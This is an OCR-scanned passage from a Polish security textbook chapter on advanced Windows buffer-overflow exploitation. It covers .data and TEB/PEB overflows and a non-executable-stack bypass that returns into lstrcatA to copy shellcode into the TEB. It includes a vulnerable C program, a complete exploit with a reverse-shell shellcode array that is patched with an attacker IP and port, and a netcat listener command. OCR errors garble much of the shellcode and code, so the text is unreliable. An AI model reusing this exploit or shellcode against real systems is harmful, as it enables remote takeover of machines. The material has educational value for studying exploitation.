FreeLibrary(1);

return 0;

}

Program ten laduje dynamicznie biblioteke runtime jezyka C (msvcrt.d11), a nastgpnie
pobiera adresy funkeji strcpy() i printf(). Adresy te zostaja umieszczone w zmiennych
globalnych, ktére przechowywane sa w sekcji .data. Zdefiniowany zostal rowniez
globalny bufor mieszczacy 32 bajty. Wskazniki funkcji uzywane sa nastgpnie w celu
skopiowania danych do tego bufora oraz wyswietlenia jego zawartosci. Zwré¢my jednak
uwagg na uporzadkowanie zmiennych globalnych. Pierwszy jest bufor, a dopiero za nim
znajduja si¢ wskazniki. W tej samej kolejnosci zmienne te zostang umieszczone w sekcji
.data. Jesli bufor zostanie przepeliony, to wskazniki funkcji zostana nadpisane. W ten
sposob haker moze przeja¢ kontrole nad programem w momencie wywotania jednej
z funkcji.

Przeanalizujmy, co si¢ stanie, gdy nasz program zostanie uruchomiony ze zbyt dtugim
fancuchem argumentu. Pierwszy z argumentow wywotlania programu zostaje skopiowany
do bufora za pomoca funkcji strcpy. Przepetnienie tego bufora sprawia, ze nadpisane
zostaja wskazniki funkcji. Nastepnie program probuje wywotac¢ funkcje printf, postu-
gujac si¢ jej wskaznikiem. Wywolanie to umozliwia przejecie sterowania przez kod
wprowadzony przez hakera. Oczywiscie opisana tutaj sytuacja zostala znacznie
uproszczona dla potrzeb ilustracji. W rzeczywistosci sprawa nie jest taka prosta. Nad-
pisany wskaznik moze zosta¢ uzyty przez program znacznie pdzniej, a w migedzycza-
sie zostanie usunigta zawarto$¢ bufora. Dlatego wlasnie zaleznosci czasowe stanowia
podstawowa przeszkode przy tego rodzaju atakach. W naszym przyktadzie w momencie
wywotania funkcji printf za pomoca wskaznika rejestr EAX wskazuje poczatek bufora,
wobec czego mozemy nadpisa¢ wskaznik printf adresem rozkazu jmp eax lub call eax.
Co wigcej, poniewaz bufor jest parametrem przekazywanym funkcji printf, to jego
adres mozemy znalez¢ na stosie pod adresem ESP + 8. Oznacza to, ze rownie dobrze
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mogliby$Smy nadpisa¢ wskaznik funkcji adresem bloku kodu zawierajacego sekwencje
rozkazow pop, pop, ret. Dwa pierwsze rozkazy odstonig nam na stosie adres bufora.
Wykonanie rozkazu RET przekaze sterowanie do tego bufora. Przypomnijmy jednak
raz jeszcze, ze nie jest to typowa sytuacja dla rzeczywistych programow. Zaleta prze-
petien sekcji .data jest przede wszystkim mozliwos¢ odnalezienia bufora w sekcji
.data zawsze pod tym samym adresem.

Przepemienia blokow TEB i PEB

Aby przeglad przepeien byl kompletny, nalezy wspomnie¢ o mozliwosci przepel-
niania blokéw TEB. Nalezy jednak zaznaczy¢, ze nie istnieja zadne publicznie ujawnio-
ne raporty na temat wykorzystania takich przepelien w praktyce. Kazdy blok TEB za-
wiera bufor, ktory uzywany jest do konwersji tancuchow znakowych z kodu ASCII na
kod Unicode na przyklad przez funkcje SetComputerNameA czy GetModuleHandleA. Prze-
penienie tego bufora moze nastapi¢, gdy funkcja nie sprawdza dtugosci umieszczanego
w nim tancucha badz gdy istnieje sposéb wprowadzenia ja w blad co do rzeczywistej dtu-
gosci tancucha w kodzie ASCII. Zatézmy, ze znalezlisSmy metod¢ wywolania takiego
przepehienia. Zastanéwmy si¢, w jaki sposob mozemy wykorzystac to przepehienie do
wykonania wlasnego kodu. Sposdb ten zalezy od tego, w ktorym z blokéw TEB nastapito
przepeknienie. Jesli przepetnienie nastapilo w bloku TEB pierwszego watku danego
procesu, to w efekcie nadpisany zostat blok PEB tego procesu. Przypomnijmy, ze w bloku
PEB znajduje si¢ szereg waznych wskaznikow, ktére uzywane sa podczas konczenia
pracy procesu. Przepetniajac bufor bloku TEB, mozemy nadpisa¢ jeden z tych wskazni-
kéw i przejac sterowanie przed zakonczeniem procesu. Natomiast gdy przepetiony
blok TEB nalezy do innego watku, nadpisana zostanie zawartos¢ innego bloku TEB.

W kazdym bloku TEB znajduje si¢ wiele interesujacych wskaznikow, ktéore mozemy
nadpisac. Przyktadem moze by¢ wskaznik pierwszej struktury EXCEPTION_REGISTRATION.
Po nadpisaniu tego wskaznika musimy jeszcze wywola¢ wyjatek w watku, do ktoérego
nalezy dany blok TEB. Mozliwe jest rowniez przepehienie wielu blokéw TEB i nad-
pisanie wskaznikow znajdujacych si¢ w bloku PEB. Pewnym utrudnieniem zwiazanym
z wykorzystaniem takich przepetnien jest to, ze nadpisuja one wskazniki danymi w ko-
dzie Unicode.

Przepetnienie buforow
i stosy zabraniajace wykonania kodu

W systemie Sun Solaris wprowadzono mozliwo$¢ takiego konfigurowania stosu, by
uniemozliwial on wykonanie znajdujacego si¢ na nim kodu. Oczywiscie celem tego
rozwigzania bylo zapobiezenie atakom wykorzystujacym przepetnienia buforéw na
stosie. Jednak w przypadku procesoréw x86 rozwiazanie takie nie jest mozliwe. Do-
stepne sa jedynie produkty, ktore sledza stosy wszystkich dziatajacych procesow. Jesli
wykryta zostanie proba uruchomienia kodu znajdujacego si¢ na stosie, dziatanie procesu
zostaje zakoniczone.
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Istnieje szereg sposobdw obejscia mechanizmow ochrony stosu. Jedna z nich, zapro-
ponowana przez hakera o pseudonimie Solar Designer, polega na nadpisaniu adresu
powrotu za pomoca adresu funkcji system(). David Litchfield napisat artykut poswie-
cony zastosowaniu tej metody na platformie Windows. Okazuje si¢ jednak, ze istnieje
jeszcze lepsza metoda. Rafal Wojtczuk opisat ja na tamach Bugtraq (http://community.
core-sdi.com/~juliano/non-exec-stack-problems.html). Metoda ta wykorzystuje kopiowa-
nie fancuchdw i nie zostata jeszcze opisana dla platformy Windows. Uczynimy to ponize;.

Z nadpisaniem adresu powrotu za pomocg adresu funkcji system() wiaze si¢ nastgpuja-
cy problem. Funkcja system() eksportowana jest w systemie Windows przez bibliote-
ke msvert.d11, ktérej polozenie w pamigci zmienia si¢ dla roznych systeméw (a nawet
dla réznych proceséw dzialajacych w tym samym systemie). Co gorsza, wykonujac
polecenie, tracimy dostep do interfejsu Win32, co znacznie ogranicza nasze mozliwosci.
Dlatego lepszym rozwiazaniem byloby skopiowanie naszego bufora na stert¢ procesu
lub do innego obszaru pamigci, ktory umozliwia zapis danych i wykonanie kodu. W tym
celu nadpiszemy adres powrotu adresem funkcji kopiujacej tancuchy. Nie bedzie to jednak
funkcja strcpy(), poniewaz jest ona, podobnie jak funkcja system(), eksportowana
przez biblioteke msvcrt.d11. Natomiast funkcja 1strcpy() eksportowana jest przez
biblioteke kerne132.d11, ktora posiada zawsze ten sam adres bazowy przynajmniej dla
wszystkich procesow dziatajacych w tym samym systemie. Jesli wykorzystanie funkcji
Istrcpy () natrafia na pewne przeszkody (na przyklad jej adres zawiera niedozwolo-
ny znak, taki jak 0x0A), to mozemy uzy¢ jeszcze funkcji 1strcat().

Gdzie skopiujemy zawarto$¢ naszego bufora? Moglibysmy umiesci¢ ja na stercie,
ale istnieje duza szansa, ze uszkodzimy stert¢ i tym samym zakonczymy dziatanie
procesu. Dlatego wybierzemy blok TEB. Kazdy blok TEB posiada 520-bajtowy bu-
for uzywany do konwersji tancuchéw z Unicode na ASCII. Bufor ten jest przesunigty
0 0xC00 bajtow wzgledem poczatku bloku TEB. Blok TEB pierwszego z watkéw da-
nego procesu posiada adres 0x7FFDE000 i wobec tego interesujacy nas bufor ma adres
0x7FFDEC00. Bufor ten uzywany jest do konwersji tancuchdéw na przyklad przez funk-
cje GetModuleHandleA. Jego adres moglibysmy przekazac jako adres bufora docelowe-
go funkcji 1strcpy, ale ze wzgledu na bajt zerowy na koncu tancucha postuzymy sie
w praktyce adresem 0x7FFDEC04. Musimy jeszcze okresli¢ potozenie naszego bufora na
stosie. Poniewaz adres ten znajdzie si¢ na koncu naszego laficucha, nie ma znaczenia,
czy rozpoczyna si¢ od bajtu zerowego (np. 0x0012FFD0). Bajt ten spetnia wtedy réwnocze-
$nie funkcje¢ oznaczenia konca tancucha. Pozostaje nam jeszcze skonfigurowaé od-
powiednio adres powrotu, aby po zakonczeniu funkcji 1strcpy sterowanie trafito do
naszego bufora zawierajacego kod powtoki.

Zaatakowana funkcja, konczac swoje dziatanie, zdejmuje ze stosu adres powrotu. Adres
ten nadpisaliSmy za pomoca adresu funkcji 1strcpy (), wobec czego wykonanie rozkazu
powrotu przekaze sterowanie do funkcji 1strcpy(). Dla funkcji 1strcpy () rejestr ESP
wskazywac bedzie adres powrotu. Funkcja pominie ten adres i przejdzie do swoich
parametrow — bufora zrédlowego i bufora docelowego. Nastepnie bedzie kopiowac
kolejne bajty, poczawszy od adresu 0x0012FFD0, do bufora o adresie 0x7FFDEC04 tak
dlugo, az natrafi na bajt zerowy konczacy tancuch zrodtowy (wskaznik bufora zrodtowego
znajduje si¢ w dolnym prostokacie po prawej stronie rysunku 8.4). Po zakonczeniu kopio-
wania funkcja 1strcpy zwraca sterowanie do naszego bufora. Oczywiscie umieszczony
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Rysunek 8.4. 0x0012FFDO 0x0012FFDO
Stos przed i po Poczatek bufora KOD
przepelnieniu

Warto$¢ rejestru EBP KOD

Adres powrotu

Adres Istrcpy()

Adres powrotu dla Istrcpy()

Wskaznik bufora docelowego

Wskaznik bufora zrédiowego

Przed przepetnieniem

Po przepetnieniu

tam kod powloki musi mie¢ rozmiar mniejszy niz 520 bajtow. W przeciwnym bo-
wiem razie spowoduje przepetlienie bufora bloku TEB i nadpisze kolejny blok TEB
lub PEB. (Mozliwosci przepetnieni blokow TEB i PEB oméwimy pozniej).

Zanim przejdziemy do tworzenia kodu, musimy najpierw zastanowi¢ si¢, jak bedzie
dziatat tworzony eksploit. Jesli uzyje on jakiejkolwiek funkcji, ktora wykorzystuje
bufor bloku TEB do konwersji pomigdzy kodami Unicode i ASCII, dzialanie procesu
moze zosta¢ zakonczone. Na szczescie w blokach TEB istnieja inne wolne obszary,
ktore nie sq uzywane lub ich nadpisanie nie jest krytyczne. Na przyktad poczawszy od
adresu 0x77FFDE1BC (dla bloku TEB pierwszego watku danego procesu), zaczyna si¢

blok bajtow zerowych.

Przyjrzyjmy si¢ teraz kodowi przyktadow. Najpierw kod atakowanego programu:

#include <stdio.h>

int foo(char *);

int main(int argc, char *argv[1)

{

unsigned char buffer[520]="";

if(arge !=2)

return printf("Please supply an argument!\n");

foo(argv[1l]);
return 0;

}

int foo(char *input)

{

unsigned char buffer[600]="";
printf("%.8X\n", &buffer);
strcpy (buffer,input);

return 0;

}

Przepehienie bufora na stosie zachodzi w funkcji foo(). Funkcja strcpy () kopiuje dane
wprowadzone przez uzytkownika do bufora o rozmiarze 600 znakow bez sprawdzenia
rozmiaru lancucha zrodtowego. Powodujac przepeienie nadpiszemy adres powrotu

adresem funkcji 1strcatA.
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W systemie Windows XP Service Pack 1 adres funkcji 1strcpy zawiera bajt 0x0A.

Nastepnie modyfikujemy adres powrotu, aby funkcja 1strcatA, konczac swoje dzia-
tanie, przekazata sterowanie do naszego nowego bufora w bloku TEB. A takze przy-
gotowujemy parametry funkcji, z ktérych bufor docelowy znajduje si¢ w bloku TEB,
a bufor zrédlowy na stosie. Program kompilujemy w srodowisku Microsoft Visual
C++ 6.0 na platformie Windows XP Service Pack 1. Nasz eksploit jest przenosnym
kodem powtoki. Dziata poprawnie dla systemu Windows NT i jego nastepnych wer-
sji. Z bloku PEB pobiera najpierw liste zatadowanych modulow. Nastepnie odnajduje
adres bazowy modutu kernel132.d11 i parsuje jego naglowek PE w celu odnalezienia
adresu funkcji GetProcAddress. Dysponujac tym adresem oraz adresem bazowym
kerne132.d11, moze uzyska¢ rowniez adres funkcji LoadLibraryA. Korzystajac z obu
wymienionych funkcji, moze juz zrealizowa¢ swoje zadanie. Za pomoca nastgpujace-
go polecenia uruchomimy program netcat, aby nastuchiwal na podanym porcie:

C:\>nc -1 -p 53
a nastepnie uruchomimy nasz eksploit. W efekcie powinni$my uzyska¢ nowa powtoke.

#include <stdio.h>
#include <windows.h>

unsigned char exploit[510]=

"\ x55\x8B\XEC\XEB\X03\ X5B\XEB\X05\ XEB\ XF8\XFF\XFF\XFF\XBE\XFF\XFF"
"\XFFAXFFAX8I\XF6\XDC\XFEAXFFAXFFAX03\XDE\X33\xC0O\ x50\ x50\ x50\ x50"
"\ x50\ x50\ x50\ x50\ x50\ x50 \XFF\XD3\ x50\ x68\x61\x72\x79\ x4 1\ x68\x4C"
"\x69\x62\x72\ x68\ x4C\X6F \x61\ 64\ x54\ xFF\X75\ xFC\XFF\x55\ xF4\x89"
"\x45\xF0\x83\XC3\x63\ x83\XC3\ Xx5D\ X33\ XCO\XBI\ x4E\ xB2\ xFF\x30\x13"
"\X83\XEB\X0T\XE2\XF I\ x43\ X563\ XFF\x75\XFCAXFF\X55\ xF4\ x89\ x45\ xEC"
"\X83\XC3\X10\ X563\ XFF\x75\XFC\XFFAX55\ XF4\ x89\ x45\ XxEB\ x83\ xC3\x0C"
"\X53\XFF\x55\XF0\x89\ x45\ xF8\xB83\XxC3\ Xx0C\x53\ x50\ xFF\x55\ xF4\x89"
"\Xx45\XEA\ X8B3\ XC3\XOC\X53\XFF\X75\XFB\XFF\X55\ xF4\ x89\ x45\ XxE0\ x83"
"\XC3\X0C\X53\ XFF\X75\xF8\XFF\x55\xF4\ x89\ x45\xDC\ x83\ xC3\ x08\x89"
"\ x5D\XD8\x33\ xD2\ x66\ x83\XC2\ 02\ x54\ X562\ xFF\ x55\ xE4\ x33\ xC0\x33"
"\XCI\x66\XxBI\X04\ x0T\ x50\ XE2\ XFD\ X8I\ x45\ xD4\ x89\ x45\ xDO\ XBF \ x0A"
"\X01\x01\x26\x89\x7D\XCC\ x40\ x40\ x89\ x45\xC8\x66\ xBE\ xFF\ xFF\x66"
"\ X35\ XFFAXCA\x66\ x89\ x45\ XxCA\X6A\X01\ x6A\X02\ XFF\ X55\XxE0\ x89\ x45"
"\XE0\Xx6A\x10\x8D\x75\xC8\x56\ x8B\X5D\ XE0\ 53\ XFF\x55\xDC\x83\xC0"
"\ x44\x89\ x85\ X568\ XFF\XFF\XFF\x83\xCO\X5E \ x83\xCO\ X5E \ x89\ x45\ x84 "
"\x89\x5D\x90\ x89\ x5D\ x94\ x89\ x5D\ x98\ xBD\ XBD\ x48\ XFF\XFF\XFF\x57"
"\ x8D\XBD\ X568\ XFF\XFF\XFF\x57\x33\xC0\ x50\ x50\ x50\ x83\xCO\x01\x50"
"\Xx83\XE8\X01\ x50\ x50\ x8B\x5D\ xD8\x53\ x50 \ XFF\x55\ XEC\XFF\x55\xE8"
"\ x60\x33\xD2\ x83\xC2\ x30\ x64\ x8B\ x02\ x8B\ x40\ x0C\ x8B\ x70\ x1C\xAD"
"\x8B\x50\x08\x52\ x8B\ xC2\ x8B\ xF 2\ x8B\ xDA\ 8B\ xCA\x03\x52\ x3C\x03"
"\ x42\x78\x03\ X658\ x1C\ X651\ X6A\XIFAX59\ x41\ x03\ x34\ x08\ x59\ x03\ x48"
"\ x24\x5A\ X562\ x8B\XFA\X03\X3E\ X8\ x3F\ x47\x65\x74\ x50\ x74\ x08\x83"
"\XCO\X04\XB3\XCI\X02\ XEB\XEC\X83\XC7\ X044\ x81\ x3F\ x72\ x6F \ x63\ x4 1"
"\ X74\x08\x83\xC6\x04\x83\XCI\ x02\ XEB\ xDI\ x8B\XFA\X0F \xB7\x01\x03"
"\x3C\x83\xB89\ x7C\x24\ x44\ x8B\ x3C\ x24 \ xBI\ X7 C\ x24\ x4C\x5F\ x61\xC3"
"\x90\x90\x90\ xBC\x8D\ x9A\XIE \ xBB\ x9A\ XAF \ x8D\ x90\ x9C\ x9A\ x8C\ x8C"
"\XBE\XFF\XFF\XBA\x87\x96\x8B\xAB\x97\ x8D\ x9A\X9E\ x9B\ xFF\ xFF\xA8"
"\X8C\XCD\XAO\XCC\XCD\XDI\x9B\X93\ x93\ xFF\ XFF\xA8\ XAC\XxBE\XAC\x8B"
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"\X9E\xBD\ x8B\ xBA\X8F \ xFF\ xFF\XxA8\XAC\ XBE\XAC\x90\ x9C\x94\ x9A\ x8B"
"\XBEAXFF\XFF\AX9C\x90\x91\x91\x9A\x9C\ x8B\ xFF\x9C\ x92\ x9B\ XFF\ xFF "
"\XFFAXFF\XFF\XFF";

int main(int argc, char *argv[])
{
int cnt = 0;
unsigned char buffer[1000]="";

if(argc !=3)
return 0;

StartWinsock();

// Ustala adres IP i numer portu w kodzie pow?toki
// Adres IP nie powinien zawiera¢ bajtéw zerowych,
// poniewaz zostanie obciety.
SetUpExploit(argv[1],atoi(argvl2]));

// nazwa atakowanego programu
strcpy (buffer, "nes ");

// kopiuje kod powtoki do bufora
strcat(buffer,exploit);

// Uzupetnia bufor

while(cnt < 25)

{
strcat(buffer, "\x90\x90\x90\x90") ;
cnt ++;

}
strcat(buffer, "\x90\x90\x90\x90") ;

// Adres powrotu zostanie nadpisany

// adresem funkcji TstrcatA w systemie Windows XP SP 1
// réwnym 0x77E74B66

strcat(buffer, "\x66\x4B\xE7\x77");

// Konfiguruje adres powrotu dla funkcji 1strcatA
// jako adres naszego kodu w bloku TEB
strcat(buffer, "\xBCA\XE1I\xFD\X7F");

// Konfiguruje bufor docelowy dla funkcji TstrcatA
// (réwniez bufor w bloku TEB)
strcat(buffer, "\xBC\XEI\xFD\x7F") ;

// Bufor Zrddtowy. Pod adresem tym znajduje sie
// nasz oryginalny bufor na stosie
strcat(buffer, "\x10\xFB\x12");

// Uruchamiamy atakowany program!
WinExec(buffer,SW_MAXIMIZE)

return 0;
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int StartWinsock()

{

int err=0;
WORD wVersionRequested;
WSADATA wsaData;

wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if Cerr!1=0)
return 0;
if ( LOBYTE( wsaData.wVersion ) !=2 || HIBYTE( wsa-Data.wVersion ) !=0)
{
WSACTeanup( );
return 0;

return 0;

int SetUpExploit(char *myip, int myport)

unsigned int ip=0;
unsigned short prt=0;
char *ipt="";

char *prtt="";

ip = inet addr(myip);

ipt = (char*)&ip;

exploit[191]=ipt[0];
exploit[192]=ipt[1];
exploit[193]=ipt[2];
exploit[194]=ipt[3];

// okre$la port TCP
// na ktérym nastuchuje netcat
// np.: nc -1 -p 53

prt = htons((unsigned short)myport);
prt = prt * OxFFFF;

prtt = (char *) &prt;
exploit[209]=prtt[0];
exploit[210]=prtt[1];

return 0;

Podsumowanie

W tym rozdziale omowili§my bardziej zaawansowane metody wykorzystania prze-
pelnien na platformie Windows. Z przedstawionych przyktadéw ptynie nauka, ze
prawie zawsze mozna rozwigza¢ lub obejs¢ trudnosci pojawiajace si¢ podczas przy-
gotowywania wlamania. W praktyce mozna nawet zatozy¢, ze kazda mozliwos¢ prze-
petnienia nadaje si¢ do wykorzystania podczas wlamania. Wystarczy jedynie znalez¢
odpowiedni sposéb.



